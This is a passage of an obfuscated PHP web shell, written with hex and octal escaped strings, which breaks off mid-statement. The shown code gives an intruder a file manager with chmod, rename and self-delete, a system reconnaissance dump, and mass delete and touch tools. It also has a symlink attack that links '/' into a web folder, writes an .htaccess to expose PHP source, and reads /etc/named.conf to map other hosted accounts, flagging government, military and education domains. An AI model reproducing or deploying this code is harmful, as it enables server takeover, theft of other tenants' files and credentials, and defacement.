"\47\x22\40\164\x79\160\145\x3d\x22\163\x75\x62\155\x69\164\42\40\143\154\x61\163\x73\75\42\146\x6f\162\x6d\x2d\143\x6f\156\x74\162\157\x6c\40\143\157\154\x2d\x6d\x64\x2d\62\x22\40\166\141\154\165\x65\75\x22\46\156\x62\163\160\73\104\105\x4c\105\124\x45\46\156\142\x73\x70\73\42\x20\x2f\x3e\xa\11\x9\11\x9\x9\x9\x9\x9\x9\x3c\151\x6e\x70\x75\x74\40\x6f\156\x63\x6c\151\143\x6b\x3d\x22\154\157\143\x61\x74\151\157\x6e\56\150\x72\x65\x66\75\x27\x3f\x64\x3d" . $_GET["\144"] . "\46\x74\75" . $_GET["\153"] . "\x27\42\40\x74\x79\x70\x65\x3d\42\x73\165\142\x6d\x69\x74\42\x20\x63\x6c\x61\x73\163\75\42\146\157\162\x6d\x2d\x63\157\x6e\x74\x72\x6f\x6c\40\x63\x6f\x6c\55\x6d\x64\55\62\42\x20\166\141\154\x75\x65\75\42\x26\156\142\163\x70\73\107\101\116\124\x49\40\x54\x41\116\107\x47\x41\x4c\46\x6e\x62\x73\160\73\x22\x20\57\x3e\x20\12\11\x9\x9\x9\11\11\x9\11\x9\74\x69\156\160\x75\x74\40\x6f\x6e\x63\x6c\151\143\153\x3d\x22\154\157\x63\141\x74\151\157\156\56\x68\162\x65\146\x3d\x27\x3f\144\75" . $_GET["\x64"] . "\x26\x6b\75" . $_GET["\153"] . "\47\x22\40\164\x79\x70\145\x3d\42\x73\165\x62\155\151\164\42\x20\x63\x6c\x61\163\163\x3d\x22\146\157\162\155\55\143\x6f\x6e\x74\162\x6f\x6c\x20\143\x6f\x6c\x2d\x6d\144\55\62\42\x20\166\x61\154\165\x65\75\42\46\156\x62\163\160\73\x43\110\115\x4f\104\46\x6e\x62\x73\x70\x3b\42\40\x2f\x3e\x20\xa\11\11\x9\x9\x9\11\x9\11\x9\74\x69\156\160\x75\164\40\157\156\x63\154\151\143\153\75\x22\x6c\x6f\x63\141\164\151\x6f\x6e\x2e\x68\162\x65\x66\x3d\47\x3f\x64\75" . $_GET["\144"] . "\46\163\75" . $_GET["\x6b"] . "\x27\42\x20\164\171\x70\x65\75\42\163\165\x62\155\x69\164\x22\x20\x63\154\x61\163\163\x3d\42\146\157\162\155\x2d\x63\x6f\156\164\162\157\154\x20\x63\x6f\154\55\155\x64\x2d\62\42\x20\x76\141\x6c\165\145\x3d\42\x26\x6e\142\x73\160\73\126\x49\105\127\46\156\x62\163\160\x3b\x22\x20\x2f\76\x20\xa\11\x9\x9\11\11\11\11\11\x9\x3c\x2f\144\151\x76\76\xa\11\11\11\x9\x9\11\x9\x9\x9\74\x63\145\156\164\x65\x72\76\xa\11\11\11\x9\11\x9\11\11\11\x3c\146\157\162\155\x20\141\143\164\151\x6f\x6e\75\42\x22\40\155\x65\x74\x68\x6f\144\x3d\x22\x70\x6f\163\164\42\x3e\xa\11\11\x9\11\11\x9\x9\x9\11\11\x3c\x69\x6e\160\x75\164\40\156\x61\155\x65\75\42\x62\x22\40\x61\165\164\157\x63\x6f\x6d\160\154\x65\x74\x65\x3d\42\157\146\146\x22\x20\x63\x6c\x61\163\x73\x3d\x22\146\157\x72\155\x2d\x63\157\156\164\x72\157\x6c\40\x63\x6f\x6c\55\x6d\x64\55\x33\42\x20\x74\x79\x70\145\75\42\x74\145\170\x74\42\x20\166\141\x6c\165\x65\75\42" . $GNJ[22]($GNJ[23]("\45\x6f", $GNJ[24](uhex($_GET["\153"]))), -4) . "\x22\x3e\12\11\x9\x9\11\x9\11\11\x9\11\x9\xa\11\11\x9\x9\11\11\x9\x9\x9\x9" . $d_ . "\xa\x9\11\11\x9\x9\11\x9\x9" . $c_; printf("\74\x64\151\166\x20\x63\154\x61\163\x73\75\x27\x64\151\166\151\x64\145\x20\164\141\x62\x6c\145\40\164\141\x62\154\145\55\x62\x6f\x72\144\145\x72\145\144\40\155\164\55\x33\40\150\157\x76\x65\162\124\x61\x62\154\x65\47\x3e\xa\11\11\11\11\74\x64\x69\166\x20\x63\154\141\163\x73\x3d\47\x64\x69\166\x69\144\145\x2d\x6c\x65\x66\x74\x27\x3e\12\x9\11\11\x9\x9\x3c\x74\141\142\x6c\145\40\x63\x6c\141\x73\x73\75\47\164\141\142\x6c\145\40\164\x61\x62\x6c\x65\x2d\x62\x6f\x72\x64\x65\162\145\x64\40\155\164\55\x33\40\x68\157\x76\x65\x72\124\x61\142\x6c\x65\47\76\xa\11\11\11\x9\11\11\x3c\x74\162\x3e\x3c\164\x64\76\x53\151\x7a\145\74\x2f\164\x64\76\74\x74\x64\x3e\x25\x73\x3c\x2f\x74\144\76\x3c\x2f\164\x72\76\12\x9\11\11\11\11\11\74\x74\162\x3e\74\x74\144\x3e\x50\145\162\155\151\163\163\151\x6f\x6e\x3c\x2f\164\x64\76\74\164\x64\76\x25\163\74\x2f\x74\x64\76\74\x2f\164\x72\x3e\xa\x9\x9\11\11\x9\x9\x3c\x74\x72\76\74\164\144\x3e\x43\x72\145\x61\164\x65\x20\164\151\155\145\x3c\57\x74\144\76\x3c\164\144\76\x25\x73\74\x2f\164\144\x3e\x3c\x2f\164\162\x3e\12\x9\11\11\x9\x9\x9\74\x74\162\76\x3c\164\x64\x3e\x4c\x61\x73\x74\40\x6d\157\x64\151\x66\151\x65\x64\74\57\x74\x64\x3e\74\164\144\76\x25\x73\x3c\57\164\144\76\x3c\57\164\162\76\12\11\11\11\11\11\x9\74\x74\x72\76\74\164\144\x3e\x4c\141\163\164\x20\x61\x63\143\x65\x73\163\145\144\x3c\x2f\164\x64\x3e\x3c\164\144\x3e\x25\x73\x3c\x2f\x74\x64\x3e\x3c\x2f\x74\x72\76\12\11\11\11\x9\11\74\57\164\141\x62\154\x65\x3e\12\x9\x9\11\x9\74\57\x64\151\x76\x3e\12\x9\x9\11\x9\74\144\x69\x76\x20\x63\x6c\x61\x73\x73\75\47\x64\151\166\151\x64\145\x2d\x72\x69\147\150\164\47\76\12\x9\11\11\11\11\74\164\x61\142\154\x65\40\143\x6c\141\x73\x73\75\x27\x74\141\x62\x6c\x65\x20\164\141\142\154\145\55\x62\x6f\x72\x64\145\162\145\x64\x20\x6d\164\55\x33\40\x68\157\166\x65\x72\124\141\142\x6c\x65\x27\x3e\xa\x9\11\x9\11\11\x9\74\164\162\x3e\x3c\164\144\76\x4d\111\115\x45\x3c\57\x74\144\76\x3c\x74\x64\76\106\x69\x6c\x65\74\x2f\x74\144\x3e\x3c\57\164\162\x3e\12\11\x9\11\11\x9\x9\74\164\x72\76\74\164\x64\76\x4f\x77\x6e\145\x72\x2f\x47\162\x6f\165\x70\74\x2f\x74\x64\x3e\x3c\164\x64\76\x25\163\74\x2f\x74\144\76\x3c\x2f\164\x72\x3e\xa\x9\11\x9\x9\x9\x9\74\x74\162\x3e\74\x74\144\76\115\x44\65\74\x2f\164\144\76\74\x74\144\x3e\45\x73\74\x2f\164\144\76\x3c\57\x74\x72\76\xa\x9\x9\x9\x9\11\11\74\x74\162\x3e\x3c\164\x64\x3e\x53\110\x41\61\74\57\x74\x64\76\74\x74\x64\x3e\x25\163\74\57\164\x64\76\74\57\164\x72\76\12\11\11\11\x9\x9\11\x3c\x74\x72\x3e\x3c\164\x64\x3e\x50\x61\164\x68\74\x2f\x74\x64\x3e\x3c\164\x64\76\45\163\74\x2f\x74\x64\x3e\74\x2f\164\x72\x3e\xa\x9\x9\11\11\11\x9\xa\11\x9\x9\11\x9\74\x2f\164\141\x62\154\145\76\12\x9\11\11\x9\x3c\x2f\x64\151\166\x3e\12\x9\x9\x9\x3c\x2f\x64\x69\166\x3e", GetFileSize(@filesize($checkfx)), GetFilePerm($checkfx), GetFileTime($checkfx, "\143\162\145\141\x74\145"), GetFileTime($checkfx, "\155\157\x64\x69\x66\x79"), GetFileTime($checkfx, "\x61\x63\143\145\x73\163"), GetFileOwnerGroup($checkfx), @md5_file($checkfx), @sha1_file($checkfx), realpath($checkfx)); if (!empty($_POST["\x62"])) { $x = $_POST["\142"]; $t = 0; for ($i = strlen($x) - 1; $i >= 0; --$i) { $t += (int) $x[$i] * pow(8, strlen($x) - $i - 1); } if (!$GNJ[12](uhex($_GET["\153"]), $t)) { ER(); } else { echo "\x3c\x62\157\x64\171\40\x6f\x6e\154\157\141\144\75\42\x68\151\x73\164\157\x72\171\56\147\157\x28\55\x31\51\73\42\x3e"; } } } else { echo "\x46\x69\x6c\x65\40\156\157\x74\x20\145\x78\x69\163\164\x21\x20\x3c\141\x20\x68\162\145\146\75\x27\77\144\x3d" . hex($d) . "\46\156\x27\76\104\157\x20\171\157\x75\x20\167\141\x6e\x74\40\x74\x6f\x20\143\162\145\x61\x74\145\40\151\164\40\77\74\x2f\x61\x3e"; } } elseif (isset($_GET["\x6c"])) { echo $a_ . "\x2b\104\111\122" . $b_ . "\xa\11\x9\11\x9\x9\x9\x9\11\11\x3c\146\157\162\155\x20\141\143\x74\x69\157\156\75\42\x22\x20\155\x65\x74\x68\x6f\144\x3d\x22\x70\157\x73\x74\42\x3e\xa\11\11\x9\11\11\11\11\x9\x9\x9\74\151\x6e\x70\165\x74\40\156\x61\x6d\145\75\x22\154\42\x20\x61\x75\x74\x6f\x63\157\155\x70\x6c\x65\x74\x65\x3d\x22\157\x66\146\x22\40\x63\154\141\163\x73\x3d\42\146\157\x72\155\x2d\x63\157\156\164\x72\x6f\x6c\40\143\157\x6c\x2d\x6d\x64\x2d\x33\x22\40\x74\171\160\145\x3d\42\x74\x65\170\164\x22\40\x76\141\x6c\165\145\75\x22\x22\76\xa\x9\x9\x9\11\x9\x9\x9\x9\x9\11" . $d_ . "\12\x9\x9\11\11\11\11\x9\x9" . $c_; if (isset($_POST["\154"])) { if (!$GNJ[11]($_POST["\154"])) { ER(); } else { echo "\x3c\155\145\164\x61\40\150\164\164\x70\x2d\145\161\x75\151\166\x3d\x22\x72\145\x66\x72\145\x73\x68\x22\40\x63\x6f\x6e\164\x65\156\x74\75\42\x30\x3b\x75\162\x6c\x3d\77\x64\x3d" . hex($d) . "\62\x66" . hex($_POST["\154"]) . "\x22\x3e"; } } } elseif (isset($_GET["\x71"])) { if ($GNJ[10](__FILE__)) { $GNJ[38]($GNJ[9]); header("\x4c\157\x63\x61\164\151\x6f\x6e\72\x20" . basename($_SERVER["\x50\110\x50\137\123\105\114\106"]) . ''); die; } else { echo $g; } } elseif (isset($_GET[hex("\151\x6e\146\157")])) { echo "\x3c\x68\x72\x3e\x53\x59\x53\124\105\115\40\111\116\x46\117\x52\x4d\101\124\x49\x4f\116\74\x63\x65\156\164\145\162\x3e\12\x9\x9\x9\x9\x9\x9\74\164\145\170\x74\141\x72\x65\141\x20\143\154\x61\163\x73\x20\75\x20\x22\x66\x6f\162\155\x2d\x63\x6f\156\x74\x72\x6f\x6c\x22\40\162\145\141\144\x6f\x6e\154\x79\x3e\x9\12\11\x9\11\x53\145\162\x76\145\x72\x20\x9\x9\11\x9\x9\72\x20" . $_SERVER["\x48\x54\124\120\x5f\x48\x4f\x53\x54"] . "\12\11\11\11\123\145\162\166\x65\162\40\x49\x50\40\11\x9\11\11\x3a\40" . $_SERVER["\123\105\x52\x56\x45\122\x5f\101\104\104\x52"] . "\40\131\x6f\x75\x72\x20\x49\x50\40\x3a\x20" . $_SERVER["\x52\x45\115\117\124\x45\137\x41\x44\104\122"] . "\xa\x9\x9\11\x4b\145\162\x6e\145\154\x20\126\145\162\163\x69\157\x6e\x20\11\x9\11\72\x20" . php_uname() . "\xa\11\11\x9\x53\157\x66\x74\x77\141\x72\x65\x20\x9\11\x9\11\x9\x3a\40" . $_SERVER["\123\105\122\x56\x45\x52\137\x53\117\106\124\127\101\x52\105"] . "\12\11\x9\11\123\x74\x6f\x72\141\147\x65\x20\123\x70\141\143\145\40\11\x9\11\72\40" . $used . "\57" . $total . "\x28\x46\x72\x65\145\40\x3a\40" . $freespace . "\51" . "\xa\x9\11\11\125\x73\145\x72\40\57\40\107\x72\157\165\160\40\11\x9\11\11\72\x20" . $user . "\40\50" . $uid . "\x29\x20\x7c\40" . $group . "\x20\x28" . $gid . "\51\x20\12\x9\x9\x9\x54\x69\x6d\x65\x20\x4f\x6e\x20\123\x65\162\x76\x65\162\x20\11\11\x9\x3a\x20" . date("\144\x20\x4d\x20\x59\x20\150\x3a\x69\x3a\x73\40\141") . "\12\11\11\11\104\151\x73\141\x62\154\145\40\106\x75\x6e\143\164\151\157\x6e\163\x20\x9\11\x9\72\x20" . $show_ds . "\12\x9\x9\11\x53\x61\x66\x65\x20\115\157\144\x65\40\11\x9\x9\11\72\40" . $sm . "\xa\11\11\x9\120\110\x50\40\126\105\x52\x53\111\x4f\x4e\40\x9\11\11\x9\72\40" . phpversion() . "\40\x4f\156\x20" . php_sapi_name() . "\12\11\x4f\x70\145\x6e\x5f\x42\141\x73\145\144\x69\162\40\x3a\40" . $show_obdir . "\x20\174\x20\123\141\x66\145\40\115\x6f\x64\145\x20\x45\170\x65\x63\40\x44\x69\162\x20\x3a\x20" . $show_exec . "\40\174\40\123\141\x66\x65\40\x4d\157\144\145\40\x49\156\x63\x6c\x75\x64\145\x20\104\151\162\40\72\40" . $show_include . "\xa\11\x4d\x79\x53\x51\114\40\72\40" . $mysql . "\40\x7c\x20\115\x53\x53\121\114\x20\72\40" . $mssql . "\x20\x7c\x20\120\157\163\164\x67\x72\x65\x53\121\x4c\x20\x3a\40" . $pgsql . "\x20\x7c\x20\120\x65\x72\154\x20\72\40" . $perl . "\40\x7c\40\120\171\164\150\x6f\156\x20\x3a\40" . $python . "\40\174\x20\122\x75\x62\171\40\72\x20" . $ruby . "\x20\174\x20\x20\127\107\105\x54\40\x3a\x20" . $wget . "\40\174\x20\x63\125\122\114\40\72\40" . $curl . "\40\174\40\x4d\x61\147\151\x63\40\x51\165\157\x74\145\x73\x20\72\40" . $magicquotes . "\40\x7c\40\x47\x43\x43\40\72\40" . $gcc . "\x20\x7c\x20\x4f\x72\141\x63\x6c\145\40\x3a\40" . $oracle . "\x20\xa\x9\11\11\11\x9\11\12\x9\x9\11\x9\x9\11\74\57\164\145\x78\164\x61\x72\x65\x61\x3e\xa\x9\11\x9\11\x9\11\x3c\x2f\x63\145\x6e\164\145\x72\x3e"; } elseif (isset($_GET[hex("\155\x61\x73\x73")])) { echo "\74\150\x72\76\12\x9\x9\11\11\x9\x9\x3c\150\x32\x3e\74\143\x65\156\164\145\162\76\124\x6f\157\x6c\163\x20\x4d\x61\x73\55\115\x61\x73\x20\115\101\x52\111\40\115\141\163\x3c\57\x63\145\x6e\x74\145\162\x3e\74\57\150\x32\x3e\xa\11\x9\x9\x9\x9\x9\74\x62\x72\76\xa\11\11\x9\11\11\11\x3c\x63\x65\156\164\145\162\76\12\x9\x9\x9\11\11\x9\74\x66\157\x72\x6d\40\x6d\145\164\150\157\x64\40\x3d\40\x27\120\117\123\124\47\76\xa\x9\x9\x9\11\11\x9\74\x64\x69\166\40\x63\x6c\141\x73\163\40\75\40\47\162\157\x77\x20\143\154\x65\141\x72\146\x69\x78\47\x3e\12\11\x9\x9\11\x9\x9\x3c\144\x69\x76\x20\143\x6c\141\163\163\40\75\x20\x27\143\x6f\x6c\55\x6d\x64\55\64\47\x3e\12\11\11\x9\11\11\11\74\x61\40\143\x6c\x61\163\163\x20\75\40\47\x66\x6f\162\x6d\x2d\143\157\156\x74\x72\157\x6c\x20\141\x6a\170\x27\40\150\162\145\x66\x20\75\40\47\x3f\x64\75" . hex($d) . "\x26" . hex("\155\141\x73\x73\137\x74\x6f\x6f\154") . "\x27\40\163\x74\171\x6c\145\75\x27\x77\x69\x64\164\x68\x3a\40\x32\65\60\x70\x78\x3b\x27\40\x68\145\x69\x67\x68\x74\75\x27\x31\x30\47\76\74\x63\x65\x6e\x74\x65\162\76\115\141\x73\x73\40\x44\145\154\x65\164\x65\40\x2f\40\124\157\165\x63\x68\x20\106\151\x6c\x65\x73\74\57\143\145\x6e\x74\145\162\x3e\74\57\x61\76\xa\x9\x9\11\11\x9\x9\x3c\x2f\144\151\166\76\12\x9\x9\x9\11\11\11\x3c\x64\151\x76\x20\x63\154\x61\x73\163\x20\x3d\40\x27\143\x6f\154\55\155\144\x2d\64\47\76\12\x9\x9\x9\11\11\x9\x3c\141\x20\x63\x6c\x61\163\163\40\75\x20\47\146\x6f\162\155\x2d\143\157\156\x74\x72\x6f\x6c\x20\x61\152\170\x27\40\x68\162\x65\146\x20\x3d\x20\47\77\x64\75" . hex($d) . "\x26" . hex("\155\x61\x73\163\137\165\163\x65\162") . "\x27\x20\163\x74\171\154\145\x3d\x27\x77\151\x64\x74\x68\72\40\x32\65\60\160\170\x3b\47\40\x68\x65\x69\x67\150\164\75\x27\x31\x30\x27\x3e\x3c\143\x65\156\164\145\162\76\43\43\43\x23\74\x2f\x63\x65\x6e\x74\145\162\x3e\x3c\x2f\x61\76\12\x9\x9\x9\11\11\11\74\57\x64\151\x76\x3e\xa\11\11\11\11\11\x9\x3c\x64\151\166\x20\143\154\141\163\x73\x20\x3d\x20\x27\x63\x6f\154\x2d\155\x64\55\64\47\76\xa\11\11\11\x9\x9\x9\74\x61\x20\x63\154\x61\x73\x73\40\75\x20\47\x66\x6f\x72\x6d\55\143\157\x6e\x74\162\157\154\40\141\152\170\x27\x20\x68\162\145\146\x20\x3d\x20\x27\77\144\75" . hex($d) . "\46" . hex("\x6d\x61\x73\163\137\164\151\164\154\145") . "\47\x20\x73\x74\171\154\145\75\47\167\x69\144\164\x68\72\x20\62\x35\60\160\x78\x3b\47\x20\150\145\x69\x67\x68\x74\75\x27\x31\60\47\76\x3c\143\x65\156\164\x65\162\x3e\43\43\x23\43\74\x2f\143\x65\x6e\x74\145\x72\x3e\74\x2f\x61\76\xa\x9\11\x9\x9\x9\x9\x3c\x2f\144\x69\166\x3e\xa\11\11\x9\x9\x9\x9\xa\11\x9\11\11\x9\11\74\x2f\144\x69\166\x3e\x3c\x2f\146\157\x72\x6d\76\x3c\x2f\x63\x65\156\164\x65\x72\x3e\74\x68\x72\x3e\74\x62\x72\76"; } elseif (isset($_GET[hex("\163\x79\155\x6c\151\156\x6b")])) { echo "\74\150\x72\x3e\74\142\x72\76"; echo "\74\x63\145\156\x74\x65\162\76\xa\x9\x9\11\x9\11\11\74\x68\62\x3e\40\123\x79\155\x6c\151\x6e\x6b\40\131\x20\x3c\57\150\62\76\40\74\142\162\x3e\74\142\162\76\xa\11\11\x9\x9\11\x9\74\146\x6f\162\x6d\40\155\145\x74\150\157\x64\x20\75\x20\x27\120\x4f\123\124\x27\x3e\12\x9\11\x9\11\x9\11\x3c\x64\151\x76\40\x63\154\x61\163\163\x20\x3d\40\x27\x72\157\x77\40\143\x6c\145\x61\162\146\151\170\x27\76\12\x9\x9\x9\x9\x9\11\74\144\151\x76\40\143\x6c\141\x73\x73\40\x3d\x20\47\143\x6f\154\x2d\x6d\144\55\64\x27\76\xa\x9\x9\11\11\x9\x9\74\x69\x6e\160\165\x74\x20\164\171\160\x65\x20\x3d\x20\47\163\165\x62\x6d\x69\x74\x27\x20\x6e\141\x6d\145\40\x3d\x20\x27\x73\171\x6d\154\x69\x6e\x6b\47\x20\143\x6c\141\163\x73\x20\x3d\x20\x27\x66\x6f\x72\155\x2d\143\157\156\164\162\x6f\154\x27\x20\x76\141\x6c\165\x65\x20\75\40\47\x53\171\x6d\x6c\x69\x6e\153\x27\40\163\x74\171\154\x65\x3d\47\x77\x69\144\164\150\x3a\x20\62\65\x30\x70\170\73\47\40\150\x65\x69\x67\x68\x74\x3d\x27\x31\x30\47\x3e\12\11\11\11\x9\11\x9\x3c\57\x64\x69\166\x3e\12\11\11\x9\x9\x9\11\x3c\144\151\166\x20\x63\154\x61\x73\163\40\x3d\40\47\143\x6f\x6c\55\155\144\x2d\64\47\76\xa\11\x9\x9\x9\x9\x9\x3c\151\156\160\x75\x74\40\164\171\x70\145\40\x3d\x20\47\x73\x75\142\x6d\x69\x74\x27\40\156\141\x6d\x65\40\75\x20\47\x73\x79\155\154\151\x6e\153\x32\47\x20\143\154\141\x73\x73\40\75\x20\x27\x66\x6f\162\155\55\143\157\x6e\x74\x72\x6f\154\x27\40\x76\141\154\x75\x65\40\75\40\x27\x53\x79\x6d\154\151\156\x6b\40\62\x27\x20\x73\164\171\x6c\145\75\x27\x77\151\x64\x74\150\72\40\62\x35\60\160\170\x3b\47\x20\x68\145\x69\x67\150\x74\x3d\x27\x31\x30\47\76\xa\11\11\x9\11\11\11\x3c\x2f\x64\151\166\76\xa\x9\11\x9\x9\11\x9\74\144\x69\x76\40\143\x6c\141\x73\163\40\75\40\x27\143\x6f\154\x2d\155\144\x2d\64\47\x3e\xa\11\11\x9\11\x9\x9\x3c\151\x6e\x70\x75\164\x20\164\x79\x70\x65\x20\x3d\40\x27\163\165\x62\x6d\x69\x74\x27\x20\x6e\x61\x6d\145\x20\75\x20\x27\163\171\x6d\x6c\151\156\x6b\x5f\160\x79\x27\x20\x63\154\141\163\163\x20\x3d\40\x27\146\x6f\162\x6d\55\143\157\156\164\x72\157\x6c\x27\40\x76\141\154\165\145\x20\x3d\40\47\123\171\x6d\154\x69\156\x6b\40\x50\171\164\150\157\x6e\47\x20\x73\164\x79\154\145\x3d\x27\167\x69\144\x74\150\x3a\x20\62\65\60\x70\x78\73\47\40\150\x65\151\147\x68\164\75\x27\x31\x30\47\76\12\x9\x9\x9\x9\11\11\74\x2f\x64\x69\166\x3e\12\x9\11\x9\11\x9\11\12\11\x9\11\11\11\11\74\57\144\x69\166\x3e\x3c\x2f\x66\x6f\162\x6d\76\74\x2f\143\x65\x6e\164\x65\x72\76\x3c\x68\x72\x3e\x3c\142\x72\x3e"; if (isset($_POST["\163\x79\x6d\154\151\156\153"])) { @set_time_limit(0); echo "\74\142\162\76\74\142\162\76\x3c\143\145\x6e\x74\145\x72\76\74\x68\62\x3e\123\x79\155\x6c\151\x6e\153\40\131\x3c\57\x68\62\76\x3c\57\x63\x65\156\164\x65\x72\x3e\74\x62\162\x3e\x3c\142\x72\x3e\74\x63\145\x6e\x74\x65\162\x3e\74\144\x69\166\40\143\x6c\141\163\x73\75\143\x6f\156\164\145\156\164\x3e"; @mkdir("\163\171\x6d", 511); $htaccess = "\117\x70\164\x69\157\156\163\x20\141\154\154\x20\x6e\40\104\151\162\x65\143\164\157\x72\171\x49\x6e\144\x65\170\x20\123\165\x78\56\150\x74\155\154\40\156\40\x41\144\144\x54\171\x70\145\x20\x74\x65\170\x74\57\160\154\x61\x69\x6e\x20\x2e\160\x68\x70\x20\156\x20\x41\x64\x64\110\141\156\x64\154\145\x72\40\163\145\x72\x76\145\x72\x2d\160\x61\162\163\145\144\40\56\160\x68\x70\x20\156\x20\40\101\144\144\124\171\x70\x65\40\164\145\x78\164\57\x70\154\141\151\156\40\x2e\150\164\155\x6c\x20\156\x20\x41\x64\144\x48\141\156\x64\x6c\x65\x72\x20\x74\x78\x74\40\x2e\150\164\155\154\x20\156\x20\122\x65\161\x75\151\x72\x65\x20\x4e\157\156\145\x20\156\40\x53\141\164\151\163\146\171\x20\101\156\171"; $write = @fopen("\163\x79\155\x2f\x2e\150\164\141\143\143\145\163\163", "\x77"); fwrite($write, $htaccess); @symlink("\x2f", "\163\171\155\57\x72\x6f\x6f\x74"); $filelocation = basename(__FILE__); $read_named_conf = @file("\57\x65\x74\143\x2f\x6e\x61\x6d\x65\144\56\x63\157\156\x66"); if (!$read_named_conf) { echo "\x3c\x70\x72\x65\40\143\154\x61\163\163\x3d\155\154\61\x20\163\x74\171\154\x65\x3d\x27\x6d\141\x72\147\x69\156\x2d\164\x6f\x70\x3a\x35\x70\x78\x27\76\43\40\x43\x61\156\164\40\141\143\143\145\x73\163\40\x74\x68\151\163\40\x66\x69\x6c\145\40\x6f\x6e\x20\x73\145\162\166\145\162\40\x2d\x3e\x20\x5b\40\57\x65\x74\x63\57\156\x61\x6d\x65\144\x2e\x63\x6f\156\146\40\135\74\57\x70\162\145\76\x3c\57\143\x65\x6e\164\145\162\76"; } else { echo "\x3c\142\162\76\x3c\142\x72\x3e\x3c\144\x69\166\40\x63\154\x61\163\x73\75\47\x74\155\160\x27\x3e\74\164\141\142\x6c\x65\x20\x62\157\162\x64\145\162\75\47\x31\47\40\142\157\162\144\x65\162\143\x6f\154\x6f\162\75\x27\x6c\151\x6d\x65\x27\40\x77\x69\144\x74\150\x3d\47\x35\x30\x30\47\x20\143\x65\x6c\x6c\x70\x61\144\x64\x69\x6e\x67\75\x27\61\47\40\143\145\154\x6c\163\160\141\143\151\156\x67\75\47\x30\47\76\x3c\x74\x64\x3e\x44\x6f\155\x61\151\156\163\74\57\164\x64\76\74\164\144\x3e\x55\163\145\162\163\x3c\57\x74\144\76\74\x74\x64\76\x73\171\155\x6c\151\x6e\153\x20\x3c\57\164\144\76"; foreach ($read_named_conf as $subject) { if (eregi("\172\157\156\x65", $subject)) { preg_match_all("\43\172\x6f\156\x65\40\42\x28\56\x2a\51\x22\x23", $subject, $string); flush(); if (strlen(trim($string[1][0])) > 2) { $UID = posix_getpwuid(@fileowner("\x2f\145\x74\x63\x2f\x76\x61\154\x69\141\163\x65\x73\x2f" . $string[1][0])); $name = $UID["\x6e\x61\x6d\145"]; @symlink("\57", "\163\171\x6d\57\162\157\x6f\164"); $name = $string[1][0]; $iran = "\56\151\x72"; $israel = "\56\x69\154"; $indo = "\x2e\151\x64"; $sg12 = "\56\x73\147"; $edu = "\56\x65\x64\x75"; $gov = "\x2e\x67\157\166"; $gose = "\56\147\x6f"; $gober = "\56\x67\x6f\142"; $mil1 = "\x2e\x6d\x69\x6c"; $mil2 = "\x2e\x6d\x69"; $malay = "\56\x6d\171"; $china = "\x2e\143\156"; $japan = "\x2e\x6a\160"; $austr = "\56\x61\165"; $porn = "\56\170\170\170"; $as = "\x2e\165\x6b"; $calfn = "\56\143\x61"; if (eregi("{$iran}", $string[1][0]) or eregi("{$israel}", $string[1][0]) or eregi("{$indo}", $string[1][0]) or eregi("{$sg12}", $string[1][0]) or eregi("{$edu}", $string[1][0]) or eregi("{$gov}", $string[1][0]) or eregi("{$gose}", $string[1][0]) or eregi("{$gober}", $string[1][0]) or eregi("{$mil1}", $string[1][0]) or eregi("{$mil2}", $string[1][0]) or eregi("{$malay}", $string[1][0]) or eregi("{$china}", $string[1][0]) or eregi("{$japan}", $string[1][0]) or eregi("{$austr}", $string[1][0]) or eregi("{$porn}", $string[1][0]) or eregi("{$as}", $string[1][0]) or eregi("{$calfn}", $string[1][0])) { $name = "\74\x64\x69\x76\x20\163\164\171\154\x65\75\47\40\143\157\x6c\157\x72\72\40\43\106\x46\60\60\60\60\40\73\40\164\x65\170\x74\55\x73\x68\x61\x64\x6f\167\72\40\60\160\170\x20\x30\160\x78\x20\61\x70\x78\x20\x72\x65\144\73\x20\47\x3e" . $string[1][0] . "\74\57\x64\151\x76\76"; } echo "\12\11\11\11\x3c\x74\x72\76\xa\x9\11\x9\x3c\x74\144\x3e\12\11\x9\x9\x3c\144\151\166\x20\143\154\x61\x73\x73\x3d\x27\x64\x6f\x6d\47\x3e\x3c\x61\40\x74\141\162\147\x65\164\x3d\47\137\x62\x6c\141\156\x6b\47\40\x68\x72\145\146\x3d\x27\x2f\57\167\167\x77\x2e" . $string[1][0] . "\47\x2f\76" . $name . "\x20\x3c\x2f\141\76\x20\x3c\x2f\x64\x69\166\x3e\xa\x9\11\x9\x3c\57\164\x64\76\12\x9\x9\11\x3c\164\x64\x3e\12\11\11\x9" . $UID["\x6e\x61\x6d\145"] . "\xa\x9\11\x9\x3c\x2f\164\144\x3e\12\x9\x9\11\74\164\x64\76\xa\x9\x9\x9\x3c\x61\x20\150\x72\x65\146\75\47\x73\171\x6d\x2f\162\x6f\157\164\x2f\150\157\x6d\x65\x2f" . $UID["\156\141\155\x65"] . "\57\160\165\142\154\x69\143\137\x68\164\155\154\x27\x20\x74\x61\x72\x67\145\164\75\47\137\x62\154\x61\x6e\x6b\x27\x3e\123\x79\155\154\151\x6e\x6b\40\x3c\57\141\76\12\11\11\11\74\x2f\164\x64\x3e\xa\x9\11\11\74\x2f\x74\162\76\x3c\x2f\144\x69\166\x3e\x20"; flush(); } } } } echo "\x3c\57\143\x65\156\164\145\x72\76\x3c\x2f\x74\141\x62\154\x65\76"; } elseif (isset($_POST["\x73\171\x6d\154\x69\x6e\x6b\62"])) { $d0mains = @file("\57\x65\164\x63\57\156\x61\155\x65\144\56\x63\157\x6e\146"); if ($d0mains) { @mkdir("\105\x78\x63\137\x73\x79\x6d", 511); @chdir("\x45\170\x63\x5f\x73\x79\155"); @exe("\154\156\x20\55\x73\40\x2f\40\x72\157\157\x74"); $file3 = "\x4f\x70\x74\x69\157\x6e\x73\40\111\156\x64\145\x78\145\163\x20\x46\x6f\x6c\154\157\167\x53\x79\155\114\x69\156\153\163\12\x44\151\x72\145\x63\x74\157\x72\x79\111\156\144\145\x78\x20\105\x78\x63\56\150\x74\155\12\101\x64\144\124\171\x70\x65\40\x74\145\x78\164\x2f\160\x6c\141\x69\x6e\40\56\x70\x68\160\xa\101\x64\x64\110\141\x6e\x64\154\145\162\x20\x74\x65\x78\164\x2f\x70\154\141\x69\x6e\40\x2e\x70\x68\x70\12\x53\x61\x74\x69\x73\146\171\x20\101\156\x79"; $fp3 = fopen("\56\x68\164\141\143\x63\145\163\x73", "\x77"); $fw3 = fwrite($fp3, $file3); @fclose($fp3); echo 